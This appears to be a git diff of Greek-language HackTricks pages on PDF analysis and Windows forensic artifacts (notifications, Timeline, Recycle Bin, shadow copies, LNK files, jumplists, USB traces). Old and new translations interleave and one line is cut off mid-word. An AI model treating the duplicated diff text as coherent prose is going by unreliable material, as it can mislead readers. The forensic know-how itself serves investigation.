Για προσαρμοσμένη ανάλυση PDF, μπορούν να χρησιμοποιηθούν βιβλιοθήκες Python όπως το [PeepDF](https://github.com/jesparza/peepdf) για τη δημιουργία προσαρμοσμένων σεναρίων ανάλυσης. Επιπλέον, το δυναμικό των PDF για κρυμμένη αποθήκευση δεδομένων είναι τόσο μεγάλο που πηγές όπως ο οδηγός της NSA για τους κινδύνους και τα μέτρα ασφαλείας στα PDF, αν και πλέον δεν φιλοξενείται στην αρχική του τοποθεσία, παρέχουν αξιόλογες πληροφορίες. Ένα [αντίγραφο του οδηγού](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) και μια συλλογή από [κόλπα μορφής PDF](https://github.com/corkami/docs/blob/master/PDF/PDF.md) από τον Ange Albertini μπορούν να παρέχουν περαιτέρω ανάγνωση επί του θέματος.
Για προσαρμοσμένη ανάλυση PDF, μπορείτε να χρησιμοποιήσετε βιβλιοθήκες Python όπως το [PeepDF](https://github.com/jesparza/peepdf) για να δημιουργήσετε ειδικά σενάρια ανάλυσης. Επιπλέον, η δυνατότητα του PDF για αποθήκευση κρυφών δεδομένων είναι τόσο εκτενής που πόροι όπως ο οδηγός της NSA για τους κινδύνους και τα μέτρα κατά των PDF, αν και δεν φιλοξενούνται πλέον στην αρχική τους τοποθεσία, προσφέρουν ακόμα πολύτιμες πληροφορίες. Ένας [αντίγραφος του οδηγού](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) και μια συλλογή από [κόλπα μορφής PDF](https://github.com/corkami/docs/blob/master/PDF/PDF.md) από τον Ange Albertini μπορούν να προσφέρουν περαιτέρω ανάγνωση στο θέμα.
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε AWS hacking από το μηδέν έως τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα κόλπα σας στο χάκινγκ υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,365 +1,520 @@
# Windows Artifacts
## Αρχεία Windows
## Windows Artifacts
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Γενικά Αρχεία Windows
## Generic Windows Artifacts
### Ειδοποιήσεις Windows 10
### Windows 10 Notifications
Στη διαδρομή `\Users\<όνομαρήστη>\AppData\Local\Microsoft\Windows\Notifications` μπορείτε να βρείτε τη βάση δεδομένων `appdb.dat` (πριν την επέτειο των Windows) ή `wpndatabase.db` (μετά την επέτειο των Windows).
Στη διαδρομή `\Users\<username>\AppData\Local\Microsoft\Windows\Notifications` μπορείτε να βρείτε τη βάση δεδομένων `appdb.dat` (πριν από την επέτειο των Windows) ή `wpndatabase.db` (μετά την επέτειο των Windows).
Μέσα σε αυτήν τη βάση δεδομένων SQLite, μπορείτε να βρείτε τον πίνακα `Notification` με όλες τις ειδοποιήσεις (σε μορφή XML) που μπορεί να περιέχουν ενδιαφέρουσες πληροφορίες.
Μέσα σε αυτή τη βάση δεδομένων SQLite, μπορείτε να βρείτε τον πίνακα `Notification` με όλες τις ειδοποιήσεις (σε μορφή XML) που μπορεί να περιέχουν ενδιαφέροντα δεδομένα.
### Χρονολόγιο
### Timeline
Το Χρονολόγιο είναι μια χαρακτηριστική των Windows που παρέχει **χρονολογική ιστορία** των επισκεφθέντων ιστοσελίδων, των επεξεργασμένων εγγράφων και των εκτελεσμένων εφαρμογών.
Το Timeline είναι μια χαρακτηριστική δυνατότητα των Windows που παρέχει **χρονολογική ιστορία** των ιστοσελίδων που επισκέφτηκαν, των επεξεργασμένων εγγράφων και των εκτελούμενων εφαρμογών.
Η βάση δεδομένων βρίσκεται στη διαδρομή `\Users\<όνομαρήστη>\AppData\Local\ConnectedDevicesPlatform\<id>\ActivitiesCache.db`. Αυτή η βάση δεδομένων μπορεί να ανοιχτεί με ένα εργαλείο SQLite ή με το εργαλείο [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) **που δημιουργεί 2 αρχεία που μπορούν να ανοίξουν με το εργαλείο** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md).
Η βάση δεδομένων βρίσκεται στη διαδρομή `\Users\<username>\AppData\Local\ConnectedDevicesPlatform\<id>\ActivitiesCache.db`. Αυτή η βάση δεδομένων μπορεί να ανοιχτεί με ένα εργαλείο SQLite ή με το εργαλείο [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) **το οποίο δημιουργεί 2 αρχεία που μπορούν να ανοιχτούν με το εργαλείο** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md).
### ADS (Εναλλακτικά Ρεύματα Δεδομένων)
### ADS (Alternate Data Streams)
Τα κατεβασμένα αρχεία μπορεί να περιέχουν την **Ζώνη Αναγνώρισης ADS** που υποδεικνύει **πώς** έγινε το **κατέβασμα** από το εταιρικό δίκτυο, το διαδίκτυο κ.λπ. Ορισμένο λογισμικό (όπως οι περιηγητές) συνήθως προσθέτουν ακόμη **περισσότερες** **πληροφορίες** όπως η **URL** από όπου κατέβηκε το αρχείο.
Τα αρχεία που έχουν κατέβει μπορεί να περιέχουν το **ADS Zone.Identifier** που υποδεικνύει **πώς** κατέβηκαν από το intranet, internet, κ.λπ. Ορισμένα λογισμικά (όπως οι περιηγητές) συνήθως προσθέτουν ακόμη **περισσότερες** **πληροφορίες** όπως το **URL** από το οποίο κατέβηκε το αρχείο.
## **Αντίγραφα Ασφαλείας Αρχείων**
## **File Backups**
### Κάδος Ανακύκλωσης
### Recycle Bin
Στα Vista/Win7/Win8/Win10 ο **Κάδος Ανακύκλωσης** βρίσκεται στον φάκελο **`$Recycle.bin`** στη ρίζα του δίσκου (`C:\$Recycle.bin`).\
Όταν ένα αρχείο διαγράφεται σε αυτόν τον φάκελο, δημιουργούνται 2 συγκεκριμένα αρχεία:
Στο Vista/Win7/Win8/Win10 ο **Κάδος Ανακύκλωσης** μπορεί να βρεθεί στον φάκελο **`$Recycle.bin`** στη ρίζα της μονάδας δίσκου (`C:\$Recycle.bin`).\
Όταν διαγράφεται ένα αρχείο σε αυτόν τον φάκελο, δημιουργούνται 2 συγκεκριμένα αρχεία:
* `$I{id}`: Πληροφορίες αρχείου (ημερομηνία διαγραφής)
* `$I{id}`: Πληροφορίες αρχείου (η ημερομηνία που διαγράφηκε)
* `$R{id}`: Περιεχόμενο του αρχείου
![](<../../../.gitbook/assets/image (486).png>)
Έχοντας αυτά τα αρχεία μπορείτε να χρησιμοποιήσετε το εργαλείο [**Rifiuti**](https://github.com/abelcheung/rifiuti2) για να πάρετε την αρχική διεύθυνση των διαγραμμένων αρχείων και την ημερομηνία διαγραφής τους (χρησιμοποιήστε το `rifiuti-vista.exe` για Vista Win10).
![](<../../../.gitbook/assets/image (1029).png>)
Έχοντας αυτά τα αρχεία, μπορείτε να χρησιμοποιήσετε το εργαλείο [**Rifiuti**](https://github.com/abelcheung/rifiuti2) για να αποκτήσετε τη διεύθυνση του αρχικού αρχείου που διαγράφηκε και την ημερομηνία που διαγράφηκε (χρησιμοποιήστε `rifiuti-vista.exe` για Vista Win10).
```
.\rifiuti-vista.exe C:\Users\student\Desktop\Recycle
```
![](<../../../.gitbook/assets/image (495) (1) (1) (1).png>)
### Αντίγραφα Σκιών Όγκου
### Αντίγραφα Σκιάς Όγκου
Το Shadow Copy είναι μια τεχνολογία που περιλαμβάνεται στα Microsoft Windows και μπορεί να δημιουργήσει αντίγραφα ασφαλείας ή στιγμιότυπα αρχείων ή όγκων υπολογιστή, ακόμα και όταν αυτά χρησιμοποιούνται.
Το Shadow Copy είναι μια τεχνολογία που περιλαμβάνεται στα Microsoft Windows και μπορεί να δημιουργήσει **αντίγραφα ασφαλείας** ή στιγμιότυπα αρχείων ή όγκων υπολογιστή, ακόμη και όταν είναι σε χρήση.
Αυτά τα αντίγραφα ασφαλείας συνήθως βρίσκονται στον φάκελο `\System Volume Information` στη ρίζα του συστήματος αρχείων και το όνομά τους αποτελείται από τα **UIDs** που φαίνονται στην παρακάτω εικόνα:
Αυτά τα αντίγραφα ασφαλείας βρίσκονται συνήθως στο `\System Volume Information` από τη ρίζα του συστήματος αρχείων και το όνομα αποτελείται από **UIDs** που εμφανίζονται στην παρακάτω εικόνα:
![](<../../../.gitbook/assets/image (520).png>)
![](<../../../.gitbook/assets/image (94).png>)
Με την επισύναψη της εικόνας ανάκτησης με το **ArsenalImageMounter**, το εργαλείο [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow\_copy\_view.html) μπορεί να χρησιμοποιηθεί για να επιθεωρήσει ένα αντίγραφο σκιάς και ακόμα και να **εξάγει τα αρχεία** από τα αντίγραφα ασφαλείας του αντιγράφου σκιάς.
Τοποθετώντας την εικόνα εγκληματολογικής ανάλυσης με το **ArsenalImageMounter**, το εργαλείο [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow\_copy\_view.html) μπορεί να χρησιμοποιηθεί για να επιθεωρήσει ένα αντίγραφο σκιάς και ακόμη και να **εξάγει τα αρχεία** από τα αντίγραφα ασφαλείας του αντίγραφου σκιάς.
![](<../../../.gitbook/assets/image (521).png>)
![](<../../../.gitbook/assets/image (576).png>)
Η καταχώρηση του μητρώου `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore` περιέχει τα αρχεία και τα κλειδιά **που δεν πρέπει να δημιουργηθούν αντίγραφα ασφαλείας**:
Η καταχώρηση μητρώου `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore` περιέχει τα αρχεία και τα κλειδιά **που δεν πρέπει να δημιουργηθούν αντίγραφα ασφαλείας**:
![](<../../../.gitbook/assets/image (522).png>)
![](<../../../.gitbook/assets/image (254).png>)
Το μητρώο `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS` περιέχει επίσης πληροφορίες διαμόρφωσης σχετικά με τα `Volume Shadow Copies`.
Το μητρώο `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS` περιέχει επίσης πληροφορίες ρύθμισης σχετικά με τα `Volume Shadow Copies`.
### Αρχεία Αυτόματης Αποθήκευσης Office
### Αυτόματα Αποθηκευμένα Αρχεία Office
Μπορείτε να βρείτε τα αρχεία αυτόματης αποθήκευσης του Office στο: `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\`
Μπορείτε να βρείτε τα αυτόματα αποθηκευμένα αρχεία του Office στο: `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\`
## Στοιχεία Shell
Ένα στοιχείο του κελύφους είναι ένα στοιχείο που περιέχει πληροφορίες για το πώς να αποκτήσετε πρόσβαση σε ένα άλλο αρχείο.
Ένα στοιχείο shell είναι ένα στοιχείο που περιέχει πληροφορίες σχετικά με το πώς να αποκτήσετε πρόσβαση σε ένα άλλο αρχείο.
### Πρόσφατα Έγγραφα (LNK)
Τα Windows **δημιουργούν αυτόματα** αυτές τις **συντομεύσεις** όταν ο χρήστης **ανοίγει, χρησιμοποιεί ή δημιουργεί ένα αρχείο** στα παρακάτω μέρη:
Τα Windows **δημιουργούν αυτόματα** αυτές τις **συντομεύσεις** όταν ο χρήστης **ανοίγει, χρησιμοποιεί ή δημιουργεί ένα αρχείο** σε:
* Win7-Win10: `C:\Users\\AppData\Roaming\Microsoft\Windows\Recent\`
* Office: `C:\Users\\AppData\Roaming\Microsoft\Office\Recent\`
Όταν δημιουργείται ένας φάκελος, δημιουργείται επίσης μια σύνδεση προς τον φάκελο, προς τον γονικό φάκελο και τον προγονικό φάκελο.
Όταν δημιουργείται ένας φάκελος, δημιουργείται επίσης ένας σύνδεσμος προς τον φάκελο, προς τον γονικό φάκελο και τον παππού φάκελο.
Αυτά τα αυτόματα δημιουργημένα αρχεία συνδέσμων **περιέχουν πληροφορίες για την προέλευση** όπως αν είναι **αρχείο** ή **φάκελος**, **MAC** **χρόνοι** αυτού του αρχείου, **πληροφορίες όγκου** για το πού αποθηκεύεται το αρχείο και **φάκελος του αρχείου προορισμού**. Αυτές οι πληροφορίες μπορούν να είναι χρήσιμες για την ανάκτηση αυτών των αρχείων σε περίπτωση που αφαιρεθούν.
Αυτά τα αυτόματα δημιουργημένα αρχεία σύνδεσης **περιέχουν πληροφορίες σχετικά με την προέλευση** όπως αν είναι **αρχείο** **ή** **φάκελος**, **MAC** **χρόνοι** αυτού του αρχείου, **πληροφορίες όγκου** σχετικά με το πού είναι αποθηκευμένο το αρχείο και **φάκελο του αρχείου στόχου**. Αυτές οι πληροφορίες μπορεί να είναι χρήσιμες για την ανάκτηση αυτών των αρχείων σε περίπτωση που έχουν αφαιρεθεί.
Επίσης, η **ημερομηνία δημιουργίας του αρχείου συνδέσμου** είναι η πρώτη **φορά** που το αρχικό αρχείο **χρησιμοποιήθηκε** και η **ημερομηνία τροποποίησης** του αρχείου συνδέσμου είναι η **τελευταία** **φορά** που χρησιμοποιήθηκε το αρχικό αρχείο.
Επίσης, η **ημερομηνία δημιουργίας του συνδέσμου** είναι η πρώτη **φορά** που χρησιμοποιήθηκε το αρχικό αρχείο και η **ημερομηνία** **τροποποίησης** του αρχείου σύνδεσης είναι η **τελευταία** **φορά** που χρησιμοποιήθηκε το αρχικό αρχείο.
Για να επιθεωρήσετε αυτά τα αρχεία μπορείτε να χρησιμοποιήσετε το [**LinkParser**](http://4discovery.com/our-tools/).
Σε αυτά τα εργαλεία θα βρείτε **2 σύνολα** χρονοσημάτων:
Σε αυτό το εργαλείο θα βρείτε **2 σύνολα** χρονικών σημείων:
* **Πρώτο Σύνολο:**
1. FileModifiedDate
2. FileAccessDate
3. FileCreationDate
* **Δεύτερο Σύνολο:**
1. LinkModifiedDate
2. LinkAccessDate
3. LinkCreationDate.
Το πρώτο σύνολο χρονοσημάτων αναφέρεται στα **χρονοσήματα του ίδιου του αρχείου**. Το δεύτερο σύνολο αναφέρεται στα **χρονοσήματα του συνδεδεμένου αρχείου**.
Μπορείτε να λάβετε τις ίδιες πληροφορίες εκτελώντας το εργαλείο γραμμής εντολών των Windows: [**LECmd.exe**](https://github.com/EricZimmerman/LECmd)
Το πρώτο σύνολο χρονικών σημείων αναφέρεται στα **χρονικά σημεία του αρχείου αυτού καθαυτού**. Το δεύτερο σύνολο αναφέρεται στα **χρονικά σημεία του συνδεδεμένου αρχείου**.
Μπορείτε να αποκτήσετε τις ίδιες πληροφορίες εκτελώντας το εργαλείο CLI των Windows: [**LECmd.exe**](https://github.com/EricZimmerman/LECmd)
```
LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs
```
Σε αυτήν την περίπτωση, οι πληροφορίες θα αποθηκευτούν σε ένα αρχείο CSV.
In this case, the information is going to be saved inside a CSV file.
### Jumplists
Αυτές είναι οι πρόσφατες αρχεία που υποδεικνύονται ανά εφαρμογή. Είναι η λίστα των **πρόσφατων αρχείων που χρησιμοποιήθηκαν από μια εφαρμογή** στην οποία μπορείτε να έχετε πρόσβαση σε κάθε εφαρμογή. Μπορούν να δημιουργηθούν **αυτόματα ή να είναι προσαρμοσμένα**.
Αυτά είναι τα πρόσφατα αρχεία που υποδεικνύονται ανά εφαρμογή. Είναι η λίστα των **πρόσφατων αρχείων που χρησιμοποιήθηκαν από μια εφαρμογή** που μπορείτε να έχετε πρόσβαση σε κάθε εφαρμογή. Μπορούν να δημιουργηθούν **αυτόματα ή να είναι προσαρμοσμένα**.
Οι **αυτόματα δημιουργημένες jumplists** αποθηκεύονται στο `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`. Οι jumplists ονομάζονται ακολουθώντας τη μορφή `{id}.autmaticDestinations-ms` όπου το αρχικό ID είναι το ID της εφαρμογής.
Οι **jumplists** που δημιουργούνται αυτόματα αποθηκεύονται στο `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`. Οι jumplists ονομάζονται ακολουθώντας τη μορφή `{id}.autmaticDestinations-ms` όπου το αρχικό ID είναι το ID της εφαρμογής.
Οι προσαρμοσμένες jumplists αποθηκεύονται στο `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` και δημιουργούνται από την εφαρμογή συνήθως επειδή έχει συμβεί κάτι **σημαντικό** με το αρχείο (ίσως έχει επισημανθεί ως αγαπημένο)
Οι προσαρμοσμένες jumplists αποθηκεύονται στο `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` και δημιουργούνται από την εφαρμογή συνήθως επειδή κάτι **σημαντικό** έχει συμβεί με το αρχείο (ίσως έχει επισημανθεί ως αγαπημένο).
Ο **χρόνος δημιουργίας** οποιασδήποτε jumplist υποδεικνύει το **πρώτο χρόνο πρόσβασης στο αρχείο** και ο **χρόνος τροποποίησης την τελευταία φορά**.
Ο **χρόνος δημιουργίας** οποιασδήποτε jumplist υποδεικνύει **την πρώτη φορά που το αρχείο προσπελάστηκε** και τον **χρόνο τροποποίησης την τελευταία φορά**.
Μπορείτε να επιθεωρήσετε τις jumplists χρησιμοποιώντας το [**JumplistExplorer**](https://ericzimmerman.github.io/#!index.md).
Μπορείτε να ελέγξετε τις jumplists χρησιμοποιώντας [**JumplistExplorer**](https://ericzimmerman.github.io/#!index.md).
![](<../../../.gitbook/assets/image (474).png>)
![](<../../../.gitbook/assets/image (168).png>)
(_Σημειώστε ότι οι χρονοσφραγίδες που παρέχονται από το JumplistExplorer αναφέρονται στο ίδιο το αρχείο jumplist_)
(_Σημειώστε ότι οι χρονικές σφραγίδες που παρέχονται από το JumplistExplorer σχετίζονται με το αρχείο jumplist_)
### Shellbags
[**Ακολουθήστε αυτόν τον σύνδεσμο για να μάθετε τι είναι οι shellbags.**](interesting-windows-registry-keys.md#shellbags)
[**Ακολουθήστε αυτόν τον σύνδεσμο για να μάθετε τι είναι τα shellbags.**](interesting-windows-registry-keys.md#shellbags)
## Χρήση των USB των Windows
## Χρήση USB Windows
Είναι δυνατό να ανιχνευθεί η χρήση μιας συσκευής USB χάρη στη δημιουργία:
Είναι δυνατόν να προσδιοριστεί ότι μια συσκευή USB χρησιμοποιήθηκε χάρη στη δημιουργία:
* Φακέλου Πρόσφατων Windows
* Φακέλου Πρόσφατων Microsoft Office
* Φάκελος Πρόσφατων Windows
* Φάκελος Πρόσφατων Microsoft Office
* Jumplists
Σημειώστε ότι ορισμένα αρχεία LNK αντί να δείχνουν στην αρχική διαδρομή, δείχνουν στον φάκελο WPDNSE:
Σημειώστε ότι κάποια αρχεία LNK αντί να δείχνουν στο αρχικό μονοπάτι, δείχνουν στο φάκελο WPDNSE:
![](<../../../.gitbook/assets/image (476).png>)
![](<../../../.gitbook/assets/image (218).png>)
Τα αρχεία στον φάκελο WPDNSE είναι αντίγραφα των αρχικών, οπότε δεν θα επιβιώσουν μετά από επανεκκίνηση του υπολογιστή και το GUID προέρχεται από ένα shellbag.
Τα αρχεία στον φάκελο WPDNSE είναι ένα αντίγραφο των αρχικών, επομένως δεν θα επιβιώσουν από μια επανεκκίνηση του υπολογιστή και το GUID λαμβάνεται από ένα shellbag.
### Πληροφορίες Καταχώρισης Μητρώου
### Πληροφορίες Μητρώου
[Ελέγξτε αυτήν τη σελίδα για να μάθετε](interesting-windows-registry-keys.md#usb-information) ποια κλειδιά του μητρώου περιέχουν ενδιαφέρουσες πληροφορίες σχετικά με συνδεδεμένες συσκευές USB.
[Ελέγξτε αυτή τη σελίδα για να μάθετε](interesting-windows-registry-keys.md#usb-information) ποια κλειδιά μητρώου περιέχουν ενδιαφέρουσες πληροφορίες σχετικά με τις συνδεδεμένες συσκευές USB.
### setupapi
Ελέγξτε το αρχείο `C:\Windows\inf\setupapi.dev.log` για να λάβετε τις χρονοσφραγίδες σχετικά με το πότε παρήχθη η σύνδεση USB (αναζητήστε το `Section start`).
Ελέγξτε το αρχείο `C:\Windows\inf\setupapi.dev.log` για να λάβετε τις χρονικές σφραγίδες σχετικά με το πότε πραγματοποιήθηκε η σύνδεση USB (αναζητήστε `Section start`).
![](https://github.com/carlospolop/hacktricks/blob/gr/.gitbook/assets/image%20\(477\)%20\(2\)%20\(2\)%20\(2\)%20\(2\)%20\(2\)%20\(2\)%20\(2\)%20\(3\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(14\).png)
![](<../../../.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (14) (2).png>)
### USB Detective
[**USBDetective**](https://usbdetective.com) μπορεί να χρησιμοποιηθεί για να λάβετε πληροφορίες σχετικά με τις συσκευές USB που έχουν συνδεθεί σε μια εικόνα.
[**USBDetective**](https://usbdetective.com) μπορεί να χρησιμοποιηθεί για να αποκτήσει πληροφορίες σχετικά με τις συσκευές USB που έχουν συνδεθεί σε μια εικόνα.
![](<../../../.gitbook/assets/image (483).png>)
![](<../../../.gitbook/assets/image (452).png>)
### Καθαρισμός Plug and Play
Η προγραμματισμένη εργασία γνωστή ως 'Καθαρισμός Plug and Play' έχει σχεδιαστεί κυρίως για την αφαίρεση παλαιών εκδόσεων οδηγών. Αντίθετα με τον καθορισμένο σκοπό της διατήρησης της τελευταίας έκδοσης του πακέτου οδηγών, διαδικτυακές πηγές υποδεικνύουν ότι στοχεύει επίσης σε οδηγούς που έχουν μείνει αδρανείς για 30 ημέρες. Ως εκ τούτου, οδηγοί για αφαιρούμενες συσκευές που δεν έχουν συνδεθεί τις τελευταίες 30 ημέρες μπορεί να διαγ
Η προγραμματισμένη εργασία που είναι γνωστή ως 'Καθαρισμός Plug and Play' έχει σχεδιαστεί κυρίως για την αφαίρεση παλαιών εκδόσεων οδηγών. Αντίθετα με τον καθορισμένο σκοπό της διατήρησης της τελευταίας έκδοσης του πακέτου οδηγών, διαδικτυακές πηγές υποδεικνύουν ότι στοχεύει επίσης σε οδηγούς που έχουν μείνει ανενεργοί για 30 ημέρες. Ως εκ τούτου, οι οδηγοί για αφαιρούμενες συσκευές που δεν έχουν συνδεθεί τις τελευταίες 30 ημέρες ενδέχεται να υποβληθούν σε διαγραφή.
### Αρχεία OST του Microsoft Outlook
Η εργασία βρίσκεται στη διαδρομή: `C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup`.
Ένα αρχείο **OST** δημιουργείται από το Microsoft Outlook όταν ρυθμίζεται με **IMAP** ή έναν διακομιστή **Exchange**, αποθηκεύοντας παρόμοιες πληροφορίες με ένα αρχείο PST. Αυτό το αρχείο συγχρονίζεται με τον διακομιστή, διατηρώντας δεδομένα για **τους τελευταίους 12 μήνες** με μέγιστο μέγεθος **50GB**, και βρίσκεται στον ίδιο φάκελο με το αρχείο PST. Για να δείτε ένα αρχείο OST, μπορείτε να χρησιμοποιήσετε το [**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html).
Μια στιγμιότυπο οθόνης που απεικονίζει το περιεχόμενο της εργασίας παρέχεται: ![](https://2.bp.blogspot.com/-wqYubtuR\_W8/W19bV5S9XyI/AAAAAAAANhU/OHsBDEvjqmg9ayzdNwJ4y2DKZnhCdwSMgCLcBGAs/s1600/xml.png)
**Κύρια Συστατικά και Ρυθμίσεις της Εργασίας:**
* **pnpclean.dll**: Αυτό το DLL είναι υπεύθυνο για τη διαδικασία καθαρισμού.
* **UseUnifiedSchedulingEngine**: Ρυθμισμένο σε `TRUE`, υποδεικνύει τη χρήση της γενικής μηχανής προγραμματισμού εργασιών.
* **MaintenanceSettings**:
* **Period ('P1M')**: Κατευθύνει τον Προγραμματιστή Εργασιών να ξεκινήσει την εργασία καθαρισμού μηνιαία κατά τη διάρκεια της κανονικής Αυτόματης συντήρησης.
* **Deadline ('P2M')**: Δίνει οδηγίες στον Προγραμματιστή Εργασιών, εάν η εργασία αποτύχει για δύο συνεχόμενους μήνες, να εκτελέσει την εργασία κατά τη διάρκεια της επείγουσας Αυτόματης συντήρησης.
Αυτή η ρύθμιση εξασφαλίζει τακτική συντήρηση και καθαρισμό των οδηγών, με διατάξεις για επανεξέταση της εργασίας σε περίπτωση συνεχών αποτυχιών.
**Για περισσότερες πληροφορίες ελέγξτε:** [**https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html)
## Emails
